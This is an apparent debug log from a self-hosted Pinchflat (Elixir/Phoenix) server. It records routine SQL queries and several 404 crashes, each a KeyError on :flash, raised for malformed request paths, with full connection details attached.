s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.932 [debug] QUERY OK source="settings" db=3.2ms queue=0.8ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.932 [debug] QUERY OK source="settings" db=3.3ms queue=1.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:50.926 [error] #PID<0.11093.0> running PinchflatWeb.Endpoint (connection #PID<0.11077.0>, stream id 5) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/github.com/kieraneglin/pinchflat ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 57813}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11093.0>, params: %{}, path_info: ["https%3A", "github.com", "kieraneglin", "pinchflat"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.120"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/github.com/kieraneglin/pinchflat", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-bqWvbyp7kn_EAAKaD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 57813}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11077.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 57813}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", (truncated) 20:18:50.936 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:18:50.939 [info] Sent 200 in 33ms 20:18:50.928 [error] #PID<0.11092.0> running PinchflatWeb.Endpoint (connection #PID<0.11082.0>, stream id 2) terminated Server: rutube.spluft.ru:80 (http) Request: GET /https%3A/github.com/kieraneglin/pinchflat/releases ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/releases (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11082.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/releases", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 23211}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11092.0>, params: %{}, path_info: ["https%3A", "github.com", "kieraneglin", "pinchflat", "releases"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.120"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/https%3A/github.com/kieraneglin/pinchflat/releases", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-bqWuLmy7VhY8AAHHi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11082.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/releases", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 23211}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /https%3A/github.com/kieraneglin/pinchflat/releases (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11082.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/https%3A/github.com/kieraneglin/pinchflat/releases", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 23211}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ (truncated) 20:18:50.937 [error] #PID<0.11094.0> running PinchflatWeb.Endpoint (connection #PID<0.11079.0>, stream id 3) terminated Server: rutube.spluft.ru:80 (http) Request: GET /%23 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%23 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%23", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 56849}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11094.0>, params: %{}, path_info: ["%23"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.120"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/%23", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-bqWvguZB2aPcAAHIC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%23", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 56849}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.120", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%23 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%23", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 56849}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ1FFelpBMVhuOWhkMnRQMGZ4OHdxS2lx.7_rYpbXSFf0ZtBPZkn_DXJ7hBaoW0la8ZUSCnlJ4i7o", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 (truncated) 20:18:51.674 [info] GET /sources/6/media/76377 20:18:51.675 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76377", "source_id" => "6"} Pipelines: [:browser] 20:18:51.679 [debug] QUERY OK source="media_items" db=0.5ms queue=0.7ms idle=754.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76377] 20:18:51.686 [debug] QUERY OK source="sources" db=1.0ms idle=752.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 20:18:51.718 [debug] QUERY OK source="tasks" db=32.2ms queue=0.5ms idle=759.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [76377] 20:18:51.733 [debug] QUERY OK source="oban_jobs" db=13.1ms queue=1.4ms idle=786.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [1975] 20:18:51.736 [debug] QUERY OK source="settings" db=0.4ms idle=756.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.737 [debug] QUERY OK source="settings" db=0.4ms idle=57.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.738 [info] GET /sources/6/media/76349 20:18:51.738 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "76349", "source_id" => "6"} Pipelines: [:browser] 20:18:51.738 [debug] QUERY OK source="settings" db=0.8ms idle=51.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:51.739 [debug] QUERY OK source="media_items" db=0.4ms idle=21.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [76349] 20:18:51.741 [debug] QUERY OK source="sources" db=1.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", 